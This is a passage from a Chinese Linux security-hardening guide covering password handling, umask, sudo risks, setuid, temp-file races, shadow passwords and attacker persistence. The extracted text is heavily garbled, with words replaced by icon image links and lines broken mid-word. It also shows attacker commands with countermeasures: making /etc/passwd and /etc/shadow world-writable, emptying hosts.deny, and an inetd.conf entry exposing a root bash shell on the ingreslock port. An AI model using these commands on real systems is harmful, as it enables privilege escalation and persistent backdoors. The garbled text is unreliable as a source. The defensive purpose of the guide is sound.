![](/icons/41291dou.gif)
如果必须使用popauth
![](/icons/41291dou.gif)
则要确保/etc/popauth只能被root读取
![](/icons/41291dou2.gif)
命令行中
![](/icons/41291de.gif)
口令
某些实用工具
![](/icons/41291dou.gif)
例例如smbmount and smbclient
![](/icons/41291dou.gif)
允许通过命令行或环境变量传递口令
![](/icons/41291dou2.gif)
这
样可以通过使用ps命令或者直接读取/proc下
![](/icons/41291de.gif)
文件来获得口令
![](/icons/41291dou2.gif)
所有输入命令都会保存在
shell历史文件中.bash_history
![](/icons/41291dou2.gif)
无论如何都要避免在命令行输入口令
![](/icons/41291dou2.gif)
并且周期性于清除历
史文件
![](/icons/41291dou.gif)
以避免命令和安全信息
![](/icons/41291de.gif)
长期积累
![](/icons/41291dou2.gif)
如果要运行某些不想被记录
![](/icons/41291de.gif)
命令
![](/icons/41291dou.gif)
可以反置
环境变量中
![](/icons/41291de.gif)
hisfile以关闭历史记录功能
![](/icons/41291dou.gif)
然后打开
![](/icons/41291yi.gif)
个新
![](/icons/41291de.gif)
shell
![](/icons/41291dou2.gif)
可写
![](/icons/41291de.gif)
组许可
![](/icons/41291yi.gif)
个主组
![](/icons/41291de.gif)
成员被入侵
![](/icons/41291dou.gif)
会增加组中其它成员
![](/icons/41291de.gif)
安全威胁
![](/icons/41291dou2.gif)
每个用户应该有自已惟
![](/icons/41291yi.gif)
![](/icons/41291de.gif)
主组
![](/icons/41291dou.gif)
并且该组只有他
![](/icons/41291yi.gif)
个用户
![](/icons/41291dou.gif)
然后所有
![](/icons/41291de.gif)
用户在创建文件时都使用这个惟
![](/icons/41291yi.gif)
主组
![](/icons/41291dou.gif)
除非修改了
组所有权
![](/icons/41291dou.gif)
通过次级组来解决共享文件
![](/icons/41291de.gif)
访问
![](/icons/41291de.gif)
问题
![](/icons/41291dou2.gif)
用户
![](/icons/41291de.gif)
umask设置应当严格设置为
安全值
![](/icons/41291dou.gif)
以避免文件创建后就能够被默认组所读写
![](/icons/41291dou.gif)
将umask设置为066就可以保证文件
创建后只有所有者才有读写权限
![](/icons/41291dou2.gif)
而组成员和其它人都不能读写该文件
![](/icons/41291dou2.gif)
在极端
![](/icons/41291de.gif)
情况下
![](/icons/41291dou.gif)
可以使用077
![](/icons/41291de.gif)
umask
![](/icons/41291dou2.gif)
这
![](/icons/41291yi.gif)
默认umask使得文件只能被root或者root权限
![](/icons/41291de.gif)
用户访问
![](/icons/41291dou2.gif)
特殊用途组和设备访问
攻击者通常在/dev下查找许可设置不当
![](/icons/41291de.gif)
设备
![](/icons/41291dou.gif)
他们能够利用这些情况来访问内存
![](/icons/41291dou.gif)
磁盘或
串行调协
![](/icons/41291dou2.gif)
并以此为基础
![](/icons/41291dou.gif)
进
![](/icons/41291yi.gif)
步入侵系统和敏感文件
![](/icons/41291dou2.gif)
例如
![](/icons/41291dou.gif)
通过/dev/kmem可以访问内
核存储区
![](/icons/41291dou.gif)
对该文件有读权限
![](/icons/41291de.gif)
攻击者就可以从中读取系统当前使用
![](/icons/41291de.gif)
任何数据
![](/icons/41291dou2.gif)
如果磁盘
分区(如/dev/hda1)可读
![](/icons/41291dou.gif)
则攻击者就能够读到原始
![](/icons/41291de.gif)
磁盘数据
![](/icons/41291dou2.gif)
她可以使用/sbin/dump直
接得到该分区下所有文件
![](/icons/41291de.gif)
拷贝
![](/icons/41291dou2.gif)
变这样可以绕过所有
![](/icons/41291de.gif)
文件许可
![](/icons/41291dou2.gif)
而且所有文件
![](/icons/41291dou.gif)
包括
/etc/shadow等文件都可以读取
![](/icons/41291dou.gif)
而不需要root权限
![](/icons/41291dou2.gif)
如果用户需要访问只有root才有权访
问
![](/icons/41291de.gif)
特殊设备文件时
![](/icons/41291dou.gif)
应当考虑使用Sudo
![](/icons/41291dou2.gif)
wheel组
它是系统上
![](/icons/41291yi.gif)
个特殊
![](/icons/41291de.gif)
组
![](/icons/41291dou.gif)
在启用wheel组
![](/icons/41291de.gif)
系统中
![](/icons/41291dou.gif)
只有该组
![](/icons/41291de.gif)
成员才能su成root
![](/icons/41291dou.gif)
即
使root口令被破解
![](/icons/41291dou.gif)
如果用户不是wheel组成员
![](/icons/41291dou.gif)
就不能运行su而进入root
![](/icons/41291dou2.gif)
对于远程root
登录
![](/icons/41291dou.gif)
将这
![](/icons/41291yi.gif)
制约手段和/etc/securetty文件相结合
![](/icons/41291dou.gif)
可以增强系统安全性并保护最重要
![](/icons/41291de.gif)
root
帐号
![](/icons/41291dou2.gif)
使用它
![](/icons/41291de.gif)
缺点是它为攻击者确定那此更有价值和权限
![](/icons/41291de.gif)
帐号提供了线索
![](/icons/41291dou2.gif)
即使预定义
了wheel组
![](/icons/41291dou.gif)
多数linux系统并不自动启用wheel组
![](/icons/41291de.gif)
访问控制功能
![](/icons/41291dou2.gif)
对于支持pam
![](/icons/41291de.gif)
系
统
![](/icons/41291dou.gif)
只要在适当
![](/icons/41291de.gif)
pam控制文件中(/etc/pam.d/su)添加pam_wheel行
![](/icons/41291dou.gif)
就可以支持wheel
组
![](/icons/41291dou2.gif)
sudo
sudo是
![](/icons/41291yi.gif)
个常用工具
![](/icons/41291dou.gif)
用于分担管理员
![](/icons/41291de.gif)
某此权限
![](/icons/41291dou2.gif)
使用sudo
![](/icons/41291dou.gif)
可以允许特定用户执行通
常必须是root用户才能运行
![](/icons/41291de.gif)
特定管理任务
![](/icons/41291dou2.gif)
例如
![](/icons/41291dou.gif)
可以授权某此用户添加
![](/icons/41291dou.gif)
删除或修改
用户或它们自已
![](/icons/41291de.gif)
口令
![](/icons/41291dou2.gif)
sudo更改口令
通常
![](/icons/41291dou.gif)
根据系统管理员授权
![](/icons/41291dou.gif)
普通用户能够运行passwd命令
![](/icons/41291dou.gif)
运行该命令时
![](/icons/41291dou.gif)
该用户能修
改任何口令
![](/icons/41291dou.gif)
包括root
![](/icons/41291dou.gif)
这显然是
![](/icons/41291yi.gif)
个问题
![](/icons/41291dou.gif)
我们应该创建
![](/icons/41291yi.gif)
个前端脚本以检查和口令相对
![](/icons/41291de.gif)
用户名确认其修改
![](/icons/41291de.gif)
合法性
![](/icons/41291dou2.gif)
![](/icons/41291yi.gif)
般而言
![](/icons/41291dou.gif)
系统用户
![](/icons/41291de.gif)
id号要小于某个预设值(通常是200
或500)
![](/icons/41291dou2.gif)
如果试图修改
![](/icons/41291de.gif)
id号小于最小值
![](/icons/41291dou.gif)
脚本应当产生
![](/icons/41291yi.gif)
个
![](/icons/41291cuowu.gif)
![](/icons/41291dou2.gif)
根据系统策略
![](/icons/41291dou.gif)
这个
脚本也应该检查和保证所更改
![](/icons/41291de.gif)
用户未被锁定并且拥用合法
![](/icons/41291de.gif)
shell
![](/icons/41291dou2.gif)
sudo编辑器操作
通常
![](/icons/41291dou.gif)
用户用权权访问
![](/icons/41291de.gif)
配置
![](/icons/41291chengxu.gif)
可能会运行编辑器
![](/icons/41291dou.gif)
例如crontab -e -u user
![](/icons/41291dou2.gif)
![](/icons/41291yinwei.gif)
我多数
这类
![](/icons/41291chengxu.gif)
允许通过环境变量VISUAL or EDITOR设置默认编辑器
![](/icons/41291dou2.gif)
所以可以运行几乎所有
![](/icons/41291chengxu.gif)
![](/icons/41291dou2.gif)
应当把编辑器限制在众所周知
![](/icons/41291de.gif)
范围内
![](/icons/41291dou.gif)
如vi,ed or emacs
![](/icons/41291dou2.gif)
但编辑器同样可以执行
shell或外部命令
![](/icons/41291dou2.gif)
![](/icons/41291yinwei.gif)
编辑器以root运行
![](/icons/41291dou.gif)
所以任何
![](/icons/41291chengxu.gif)
只要运行在由该编辑器得到
![](/icons/41291de.gif)
shell
中
![](/icons/41291dou.gif)
都将拥用root权限
![](/icons/41291dou2.gif)
对该问题
![](/icons/41291de.gif)
最佳解决思路方法是当编辑文件时
![](/icons/41291dou.gif)
应当文件锁定并复制
到普通用户能够以最小权限编辑
![](/icons/41291de.gif)
安全位置
![](/icons/41291dou2.gif)
然后用户再编辑这个临时文件
![](/icons/41291dou.gif)
而不会危及受
保护
![](/icons/41291de.gif)
系统文件
![](/icons/41291dou2.gif)
在编辑完成后
![](/icons/41291dou.gif)
确保没有改动受限区域
![](/icons/41291dou.gif)
并且所做改动和文件结构和系统
要求
![](/icons/41291yi.gif)
致
![](/icons/41291dou.gif)
的后再将所修改文件复制到原始文件并解锁
![](/icons/41291dou2.gif)
sudo带来
![](/icons/41291de.gif)
其它
![](/icons/41291chengxu.gif)
漏洞
chmod,允许开发者将目录设置为可写以完成工作
![](/icons/41291dou2.gif)
攻击者可以直接运行chmod 666
/etc/passwd /etc/shadow
![](/icons/41291dou.gif)
并随心所欲地创建或修改帐号
![](/icons/41291dou2.gif)
chown,允许某公共区域(如某个web文档树)
![](/icons/41291de.gif)
开发者获得其他开发者
![](/icons/41291de.gif)
文件
![](/icons/41291de.gif)
控制权
![](/icons/41291dou2.gif)
攻击效果同chmod
![](/icons/41291dou2.gif)
tar/cpio
![](/icons/41291dou.gif)
允许用户创建文档及备份
![](/icons/41291dou2.gif)
攻击者可以用于抽取文件
![](/icons/41291dou.gif)
以替换系统
![](/icons/41291de.gif)
执行文件或
配置文件
![](/icons/41291dou2.gif)
mount
![](/icons/41291dou.gif)
允许用户加载远程文件系统
![](/icons/41291dou2.gif)
攻击者能够用于加载包含
![](/icons/41291set.gif)
userid
![](/icons/41291chengxu.gif)
![](/icons/41291de.gif)
文件系统
![](/icons/41291dou.gif)
从而使用攻击者获得系统权限
![](/icons/41291dou2.gif)
useradd
![](/icons/41291dou.gif)
允许可信用户创建新帐号
![](/icons/41291dou2.gif)
攻击者可用于创建新
![](/icons/41291de.gif)
root级帐号
![](/icons/41291dou2.gif)
rpm,安装rpm软件Software包
![](/icons/41291dou2.gif)
攻击者用于降级系统
![](/icons/41291de.gif)
软件Software
![](/icons/41291dou.gif)
使其包含能够被攻击者利用
![](/icons/41291de.gif)
漏洞
![](/icons/41291dou.gif)
或
者用来安装使用攻击者获得root权限
![](/icons/41291de.gif)
rpm软件Software包
![](/icons/41291dou2.gif)
创建sudoers文件时
![](/icons/41291dou.gif)
应当详细地设置允许运行
![](/icons/41291de.gif)
![](/icons/41291chengxu.gif)
及其参数
![](/icons/41291dou2.gif)
下例配置两个组
![](/icons/41291dou.gif)
httpd_restricted组中
![](/icons/41291de.gif)
用户运行apachectl
![](/icons/41291chengxu.gif)
时只能指定start和stop选项
![](/icons/41291dou2.gif)
而httpd_full组
成员能运行所有被支持
![](/icons/41291de.gif)
选项
![](/icons/41291dou2.gif)
User_Alias httpd_full = king,ryan,chris
User_Alias httpd_restricted = guest,tax
Cmnd_Alias apachectl = /etc/apachectl *
Cmnd_Alias web_restart = /etc/apachectl start,/etc/apachectl stop
httpd_full ALL=(ALL) apachectl
httpd_restricted ALL=(ALL) web_restart
通过显式列出参数防止用户对
![](/icons/41291chengxu.gif)
![](/icons/41291de.gif)
自由使用
![](/icons/41291dou.gif)
避免了使用不当
![](/icons/41291de.gif)
情况
![](/icons/41291dou2.gif)
应当使用谨慎设计
![](/icons/41291de.gif)
前端脚本来验证参数
![](/icons/41291dou2.gif)
在脚本中应当检查path,libpath and editor等敏感
![](/icons/41291de.gif)
环境变量
![](/icons/41291dou2.gif)
必须
给出绝对路径
![](/icons/41291dou.gif)
以避免特洛伊木马攻击
![](/icons/41291dou2.gif)
格式
![](/icons/41291zifu.gif)
串攻击
问题出在现在
![](/icons/41291chengxu.gif)
员使用类似于*pr
![](/icons/41291int.gif)
f
![](/icons/41291kh.gif)
or syslog
![](/icons/41291kh.gif)
等支持格式化输出
![](/icons/41291de.gif)
![](/icons/41291hanshu.gif)
打印简单
![](/icons/41291zifu.gif)
串
![](/icons/41291de.gif)
场合
![](/icons/41291dou.gif)
正确
![](/icons/41291de.gif)
方式应当是:
pr
![](/icons/41291int.gif)
f("%s",str),然而
![](/icons/41291dou.gif)
为了节省时间和少打6个
![](/icons/41291zifu.gif)
![](/icons/41291dou2.gif)
许多
![](/icons/41291chengxu.gif)
员转而输入如下省略第
![](/icons/41291yi.gif)
个
参数
![](/icons/41291de.gif)
命令:pr
![](/icons/41291int.gif)
f(str)
![](/icons/41291set.gif)
userid
![](/icons/41291de.gif)
![](/icons/41291yi.gif)
般预防
使用chattr +i将所有
![](/icons/41291set.gif)
userid
![](/icons/41291chengxu.gif)
设置为不可修改
![](/icons/41291dou.gif)
同时设置所有
![](/icons/41291de.gif)
系统
![](/icons/41291chengxu.gif)
和目录不可修
改
![](/icons/41291dou2.gif)
在/bin,/usr/bin,/sbin,/usr/sbin,/lib等目录下
![](/icons/41291de.gif)
文件很少变化
![](/icons/41291dou.gif)
因此当它们变化时
![](/icons/41291dou.gif)
管理员
必须知道
![](/icons/41291dou2.gif)
如果可能
![](/icons/41291dou.gif)
对/,/boot,/usr,/var,/home使用单独分区
![](/icons/41291dou.gif)
设置系统目录为只读
![](/icons/41291dou.gif)
并使
用类似于linux入侵检测系统(LIDS)等安全性增强工具来阻止入侵者重新以读-写方式加
载只读分区
![](/icons/41291dou2.gif)
删除或去掉没用
![](/icons/41291de.gif)
![](/icons/41291set.gif)
userid
![](/icons/41291chengxu.gif)
![](/icons/41291dou2.gif)
已加载文件系统上
![](/icons/41291de.gif)
黑客
![](/icons/41291set.gif)
userid
![](/icons/41291chengxu.gif)
用户用mount加载驱动器、设备、文件和远程文件系统
![](/icons/41291dou.gif)
当把有
![](/icons/41291set.gif)
userid
![](/icons/41291chengxu.gif)
![](/icons/41291de.gif)
NFS
![](/icons/41291chengxu.gif)
加载到本时这样会产生问题
![](/icons/41291dou2.gif)
要防止加载文件系统上
![](/icons/41291de.gif)
![](/icons/41291set.gif)
userid文件
![](/icons/41291dou2.gif)
任何远程文件系统
或本地文件系统都应以nosuid标志加载
![](/icons/41291dou2.gif)
也可以在不可信
![](/icons/41291de.gif)
文件系统上设置noexec标志
![](/icons/41291dou2.gif)
以阻止其上任何
![](/icons/41291chengxu.gif)
![](/icons/41291de.gif)
运行
![](/icons/41291dou2.gif)
如果想要运行其中
![](/icons/41291de.gif)
![](/icons/41291chengxu.gif)
可以复制到本地文件系统
![](/icons/41291dou.gif)
然后运行
![](/icons/41291dou2.gif)
这不仅有助于防止权限提升类型
![](/icons/41291de.gif)
攻击
![](/icons/41291dou.gif)
也能够对付
![](/icons/41291set.gif)
userid
![](/icons/41291de.gif)
perl脚本
![](/icons/41291dou2.gif)
并减少蠕虫和
自繁殖
![](/icons/41291chengxu.gif)
通过网络传播
![](/icons/41291dou2.gif)
硬链接和符号链接
任何必须创建临时文件
![](/icons/41291de.gif)
![](/icons/41291chengxu.gif)
应当使用那此文件存在时来会重复创建
![](/icons/41291de.gif)
![](/icons/41291hanshu.gif)
![](/icons/41291dou.gif)
对于系统
![](/icons/41291diaoyong.gif)
open
![](/icons/41291kh.gif)
,可以使用O_EXCL参数做到这点
![](/icons/41291dou2.gif)
open("/tmp/filename",O_EXCL|O_CREAT|O_RDWR,0666);
在perl中
![](/icons/41291dou.gif)
可用sysopen命令实现:
sysopen(HANDLE,"/tmp/filename",O_EXCL|O_CREAT|O_RDWR);
在shell脚本中
![](/icons/41291dou.gif)
使用mktemp实用工具:tmpfile=`mktemp /tmp/filename.xxxxx`||exit 1
commands > $tmpfile
![](/icons/41291dou2.gif)
如果想要更高
![](/icons/41291de.gif)
安全必
![](/icons/41291yi.gif)
![](/icons/41291dou.gif)
可以安装solar designer开发
![](/icons/41291de.gif)
linux内核补丁,位于
http://www.openwall.org,该补丁能够阻止对/tmp目录下文件
![](/icons/41291de.gif)
符号链接和硬链接攻击
![](/icons/41291dou2.gif)
用户
只有在拥有实际文件或读写权限
![](/icons/41291de.gif)
情形下
![](/icons/41291dou.gif)
才能够在/tmp下创建链接
![](/icons/41291dou2.gif)
应用好
![](/icons/41291de.gif)
分区习惯
![](/icons/41291dou.gif)
如/home,/var,/tmp,/usr,/boot,/这样
![](/icons/41291de.gif)
分区规则
![](/icons/41291dou2.gif)
确保普通用户对除/home and /tmp目录的外
![](/icons/41291de.gif)
所有其他分区都没有写权限
![](/icons/41291dou2.gif)
这能够防止建立对系统文件如/etc/passwd and /bin/ls
![](/icons/41291de.gif)
硬链接
![](/icons/41291dou2.gif)
输入验证
脚本应总是验证其输入参数
![](/icons/41291dou.gif)
以确保其中没有包含非法
![](/icons/41291de.gif)
![](/icons/41291zifu.gif)
和shell元
![](/icons/41291zifu.gif)
![](/icons/41291dou2.gif)
这些参数不
能包括可能引起意外解释
![](/icons/41291de.gif)
空白
![](/icons/41291zifu.gif)
![](/icons/41291dou.gif)
shell控制符和元
![](/icons/41291zifu.gif)
![](/icons/41291dou2.gif)
这
![](/icons/41291yi.gif)
规则适用于所shell脚本
![](/icons/41291dou.gif)
也适用于那些不明智地使用system
![](/icons/41291kh.gif)
![](/icons/41291hanshu.gif)
![](/icons/41291de.gif)
C
![](/icons/41291chengxu.gif)
![](/icons/41291dou2.gif)
脚本还应当屏蔽对IFS
![](/icons/41291de.gif)
修改
![](/icons/41291dou2.gif)
或者在
执行传入参数和正确性检查前将IFS设置为安全值
![](/icons/41291dou2.gif)
第 9章 口令破解
DES(Data Encryption Standard 数据加密标准)
![](/icons/41291dou.gif)
linux中crypt(3)实现des
![](/icons/41291de.gif)
功能
![](/icons/41291dou.gif)
它有两个参
数
![](/icons/41291dou.gif)
key and salt
![](/icons/41291dou.gif)
key是用户
![](/icons/41291de.gif)
口令
![](/icons/41291dou.gif)
salt是从[a-zA-Z0-9./]中选择
![](/icons/41291de.gif)
长度为2
![](/icons/41291de.gif)
![](/icons/41291zifu.gif)
串
![](/icons/41291dou.gif)
用
户口令最长不能超过8
![](/icons/41291zifu.gif)
![](/icons/41291dou2.gif)
DES
![](/icons/41291de.gif)
开发得到美国政府
![](/icons/41291de.gif)
部份支持
![](/icons/41291dou.gif)
所以不能向美国的外
地区输出
![](/icons/41291dou2.gif)
MD5算法是
![](/icons/41291yi.gif)
种散列算法
![](/icons/41291dou.gif)
在很多方面改善了DES
![](/icons/41291dou.gif)
无限长口令;更大
![](/icons/41291de.gif)
密钥空间
![](/icons/41291dou.gif)
远比
13
![](/icons/41291zifu.gif)
长;可输出来美国的外地区
![](/icons/41291dou2.gif)
口令破解
![](/icons/41291chengxu.gif)
crack,john the ripper,viper,slurpie
对策:
1、自已运行口令破解
![](/icons/41291chengxu.gif)
![](/icons/41291dou.gif)
找到机器中存在
![](/icons/41291de.gif)
弱口令
![](/icons/41291dou2.gif)
2、确保口令文件不是可读
![](/icons/41291de.gif)
![](/icons/41291dou2.gif)
3、经常检查日志文件
![](/icons/41291dou2.gif)
4、使用阴影口令
![](/icons/41291dou2.gif)
阴影口令
/etc/shadow
![](/icons/41291dou.gif)
只有root可读
![](/icons/41291dou2.gif)
格式如下:
1、用户名;
2、口令密文;
3、口令最后修改日期和1970年1月1日
![](/icons/41291de.gif)
相隔天数;
4、离用户允许修改口令还剩下
![](/icons/41291de.gif)
天数;
5、离用户必须修改口令还剩下
![](/icons/41291de.gif)
天数;
6、离系统提醒用户必须修改口令还剩下
![](/icons/41291de.gif)
天数;
7、用户仍可修改口令
![](/icons/41291de.gif)
剩余天数
![](/icons/41291dou.gif)
否则到期的后该帐号被禁止
![](/icons/41291dou2.gif)
8、保留字段
![](/icons/41291dou2.gif)
启用阴影口令
pwck----检查/etc/passwd完整性
pwconv----转换到阴影口令
![](/icons/41291dou2.gif)
它根据现有
![](/icons/41291de.gif)
/etc/passwd文件创建/etc/shadow文件
![](/icons/41291dou.gif)
如果系统
中已经存在该文件
![](/icons/41291dou.gif)
则将被合并
![](/icons/41291dou2.gif)
此外
![](/icons/41291dou.gif)
在成功转换后
![](/icons/41291dou.gif)
仍可能在/etc/passwd中添加普通未
加阴影
![](/icons/41291de.gif)
帐号
![](/icons/41291dou2.gif)
因此
![](/icons/41291dou.gif)
需要定期检查/etc/passwd
![](/icons/41291de.gif)
内容以确保所有
![](/icons/41291de.gif)
口令都已阴影化
![](/icons/41291dou2.gif)
pwunconv----去除阴影
![](/icons/41291dou2.gif)
chage命令
![](/icons/41291dou.gif)
判断用户是否必须更改口令
![](/icons/41291dou2.gif)
执行时使用-M选项可以强制用户在指定期限的
后更改口令
![](/icons/41291dou2.gif)
选项
mindays 两次更改口令的间
![](/icons/41291de.gif)
最小天数
![](/icons/41291dou2.gif)
maxdays 口令有效
![](/icons/41291de.gif)
最大天数
![](/icons/41291dou2.gif)
lastday 口令最后修改日期和1970年1月1日
![](/icons/41291de.gif)
相隔天数
![](/icons/41291dou2.gif)
inactive 口令过期的后
![](/icons/41291dou.gif)
帐号禁用的前
![](/icons/41291de.gif)
休眠天数
![](/icons/41291dou2.gif)
expiredate 帐号禁用
![](/icons/41291de.gif)
起始日期
![](/icons/41291dou2.gif)
warndays 在用户必须修改口令的前开始提醒用户
![](/icons/41291de.gif)
天数
![](/icons/41291dou2.gif)
其它实用
![](/icons/41291chengxu.gif)
gpasswd 往组中添加新用户
![](/icons/41291dou2.gif)
groupadd 创建新组
![](/icons/41291dou2.gif)
groupdel 删除组
![](/icons/41291dou2.gif)
groupmod 修改组信息
![](/icons/41291dou2.gif)
passwd 设置密码
![](/icons/41291dou2.gif)
useradd 创建新用户
![](/icons/41291dou2.gif)
userdel 删除用户
![](/icons/41291dou2.gif)
usermod 修改用户信息
![](/icons/41291dou2.gif)
口令保护
创建强状口令
![](/icons/41291de.gif)
规划
![](/icons/41291dou.gif)
至少各有
![](/icons/41291yi.gif)
个
![](/icons/41291zifu.gif)
来自于这些
![](/icons/41291zifu.gif)
集:a-zA-Z0-9标点符号
![](/icons/41291dou2.gif)
如果使
用des,使用6--8个
![](/icons/41291zifu.gif)
![](/icons/41291dou.gif)
如果使用md5
![](/icons/41291dou.gif)
使用任意长度
![](/icons/41291de.gif)
![](/icons/41291zifu.gif)
![](/icons/41291dou.gif)
长于15位更好
![](/icons/41291dou2.gif)
在区别
![](/icons/41291de.gif)
系统上使用区别
![](/icons/41291de.gif)
口令
![](/icons/41291dou.gif)
但会非常难于记住
![](/icons/41291dou.gif)
![](/icons/41291yi.gif)
个解决办法是使用PGP和强口令对该文件
加密
![](/icons/41291dou2.gif)
passwd+
![](/icons/41291chengxu.gif)
能强制用户使用健壮
![](/icons/41291de.gif)
口令
![](/icons/41291dou2.gif)
npasswd,anlpasswd都是优秀
![](/icons/41291de.gif)
口令检查
![](/icons/41291chengxu.gif)
![](/icons/41291dou2.gif)
使用
![](/icons/41291yi.gif)
次有效
![](/icons/41291de.gif)
口令
![](/icons/41291dou2.gif)
OTP
![](/icons/41291de.gif)
SeureID
![](/icons/41291dou.gif)
S/Key
![](/icons/41291dou.gif)
OPIE
小结口令保护思路方法:
1、实现阴影口令
![](/icons/41291dou2.gif)
2、使用md5取代des.
3、实施好
![](/icons/41291de.gif)
口令策略
![](/icons/41291dou.gif)
包括在用户创建新口令时进行测试
![](/icons/41291dou.gif)
强制用户采用健壮
![](/icons/41291de.gif)
口令
![](/icons/41291dou2.gif)
4、定期运行口令破解
![](/icons/41291chengxu.gif)
![](/icons/41291dou.gif)
以发现系统中
![](/icons/41291de.gif)
脆弱口令
![](/icons/41291dou2.gif)
5、考虑使用口令期限和
![](/icons/41291yi.gif)
次有效口令
![](/icons/41291dou2.gif)
6、决不把口令告诉不认识
![](/icons/41291de.gif)
人
![](/icons/41291dou2.gif)
第十章 黑客保持通道
![](/icons/41291de.gif)
思路方法
基于主机
![](/icons/41291de.gif)
认证和用户访问
修改hosts.allow and hosts.deny
有多个网络服务使用/etc/hosts.allow文件来确定哪些客户端被允许连接
![](/icons/41291dou2.gif)
如果服务不接受来
自该主机
![](/icons/41291de.gif)
连接
![](/icons/41291dou.gif)
则在tcp握手完成的后将即刻关闭连接
![](/icons/41291dou.gif)
而不发送或接收任何数据
![](/icons/41291dou2.gif)
也就
是说
![](/icons/41291dou.gif)
该服务能够对来自该主机此类连接
![](/icons/41291de.gif)
攻击完全免疫,
![](/icons/41291yinwei.gif)
黑客没有机会发送数据以做
出破坏
![](/icons/41291dou2.gif)
/etc/hosts.deny文件中
![](/icons/41291de.gif)
内空通常应该是"ALL:ALL"
![](/icons/41291dou.gif)
表示所有没有在hosts.allow
中列出
![](/icons/41291de.gif)
机器都将被拒绝
![](/icons/41291dou2.gif)
只要删除该行(例如:cat /dev/null >/etc/host.deny)
![](/icons/41291dou.gif)
黑客就可以
连接所提供
![](/icons/41291de.gif)
服务
![](/icons/41291dou2.gif)
对策:
使用文件完整性工具监视两个文件
![](/icons/41291dou2.gif)
同时考虑使用chattr +i命令将它们设置成不可更改
![](/icons/41291dou2.gif)
不安全
![](/icons/41291de.gif)
nfs导出
导出"/"本身
![](/icons/41291dou.gif)
黑客不用登录就可以修改目标主机上
![](/icons/41291de.gif)
所有文件
![](/icons/41291dou2.gif)
关闭远程命令
![](/icons/41291dou.gif)
即将以下行从/etc/inetd.conf中注释:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd
login stream tcp nowait root /usr/sbin/tcpd in.rlogind
exec stream tcp nowait root /usr/sbin/tcpd in.rexecd
安装ssh后
![](/icons/41291dou.gif)
应当使用文件完整性工具监视如下所有文件:
/etc/hosts.equiv
/etc/shosts.equiv
/home/*/.rhosts
/home/*/.shosts
/etc/sshd_config
/ect/ssh_known_hosts
向inetd添加root shell
创建
![](/icons/41291yi.gif)
个网络可达
![](/icons/41291de.gif)
root shell
![](/icons/41291de.gif)
![](/icons/41291yi.gif)
种简单思路方法是在/etc/inetd.conf文件中添加
![](/icons/41291yi.gif)
条记录
![](/icons/41291dou2.gif)
假
设在被侵入
![](/icons/41291de.gif)
系统中没有使用ingreslock端口
![](/icons/41291dou.gif)
这样
![](/icons/41291dou.gif)
黑可以将如下
![](/icons/41291yi.gif)
行添加到/etc/inetd.conf
文件中:
ingreslock stream tcp nowait root /bin/bash -i 给定-i参数
![](/icons/41291dou.gif)
/bin/bash将创建
![](/icons/41291yi.gif)
个交互
![](/icons/41291de.gif)
shell
![](/icons/41291dou2.gif)
这样
![](/icons/41291dou.gif)
只要连接到系统
![](/icons/41291de.gif)
ingreslock端口
![](/icons/41291dou.gif)
黑客就能直接执行命令
![](/icons/41291dou2.gif)
![](/icons/41291yinwei.gif)
这不是
![](/icons/41291yi.gif)
个
实际
![](/icons/41291de.gif)
tty(该连接通过某个网络套接字)
![](/icons/41291dou2.gif)
所以它不如任务控制台好用
![](/icons/41291dou.gif)
但仍然能够运行任
何命令
![](/icons/41291dou2.gif)
对策:
运行文件完整性检查工具
![](/icons/41291dou2.gif)
配置防火墙只允许来自所需端口(ssh,smtp and http)
![](/icons/41291de.gif)
进入连接
![](/icons/41291dou2.gif)
使用chattr +i命令
![](/icons/41291dou2.gif)
甚至
![](/icons/41291yi.gif)
个更好
![](/icons/41291de.gif)
办法
![](/icons/41291dou.gif)
即根本不运行
![](/icons/41291int.gif)
ed
![](/icons/41291dou2.gif)
通过
![](/icons/41291int.gif)
ed提供
![](/icons/41291de.gif)
大部份服
务都不是必需
![](/icons/41291de.gif)
![](/icons/41291dou2.gif)
木马化
![](/icons/41291chengxu.gif)
是黑客在取得主机控权后
![](/icons/41291dou.gif)
利用编程技术
![](/icons/41291dou.gif)
把
![](/icons/41291yi.gif)
样常用
![](/icons/41291chengxu.gif)
如ls,netstat等进行修
改重新编译
![](/icons/41291dou.gif)
从而达到控制
![](/icons/41291dou.gif)
隐藏等目
![](/icons/41291de.gif)
![](/icons/41291dou2.gif)
lrk--linux root kit 提供大量木马化
![](/icons/41291chengxu.gif)
如du,find,ls,
![](/icons/41291if.gif)
config等
![](/icons/41291dou2.gif)
RKdet和CHKrootkit是两个检测lrk
![](/icons/41291de.gif)
工具
![](/icons/41291dou2.gif)
入侵内核
可装载内核模块
![](/icons/41291dou2.gif)
利用完整性检查发现安装
![](/icons/41291de.gif)
新模块和修改现有模块
![](/icons/41291de.gif)
时间
![](/icons/41291dou.gif)
对/lib/modules
目录树限制许可以及应用chattr +i命令
![](/icons/41291dou2.gif)
使用类似LIDS内核补丁
![](/icons/41291dou.gif)
并进行适当配置
![](/icons/41291dou.gif)
使得
即使root也不能在/lib/modules下安装文件或装载内核模块
![](/icons/41291dou2.gif)
内核本身如果被入侵
![](/icons/41291dou.gif)
麻烦就大了
![](/icons/41291dou.gif)
在新内核运行时
![](/icons/41291dou.gif)
管理员不能相信和系统相关
![](/icons/41291de.gif)
任何信
息
![](/icons/41291dou2.gif)
包括文件和进程列表
![](/icons/41291dou.gif)
网络链接
![](/icons/41291dou.gif)
磁盘和CPU统计
![](/icons/41291dou.gif)
以及/proc
![](/icons/41291dou2.gif)
必须马上开始第 2章
所介绍
![](/icons/41291de.gif)
系统恢复过程
![](/icons/41291dou2.gif)
第十
![](/icons/41291yi.gif)
章 服务器安全问题
mail安全性
Mail User Agent(MUA)邮件用户代理
![](/icons/41291dou.gif)
如Mutt,Pine,Elm
![](/icons/41291dou2.gif)
用户使用这些
![](/icons/41291chengxu.gif)
编辑和阅读邮件
![](/icons/41291dou2.gif)
Mail Transfer Agent(MTA)邮件传送代理
![](/icons/41291dou.gif)
如sendmail,qmail,postfix
![](/icons/41291dou2.gif)
主要功能是在多台机器
的间转发邮件
![](/icons/41291dou2.gif)
Mail Delivery Agent(MDA)邮件分发代理
![](/icons/41291dou.gif)
是用户介面和MTA的间
![](/icons/41291de.gif)
中介
![](/icons/41291dou.gif)
它从MTA中取
回邮件并放置在本地收件箱
![](/icons/41291dou.gif)
或者把发件箱中
![](/icons/41291de.gif)
邮件传给MTA
![](/icons/41291dou2.gif)
这方面
![](/icons/41291de.gif)
![](/icons/41291chengxu.gif)
有mail.local
and Procmail
![](/icons/41291dou2.gif)
安全问题绝大多数和MTA有关
![](/icons/41291dou2.gif)
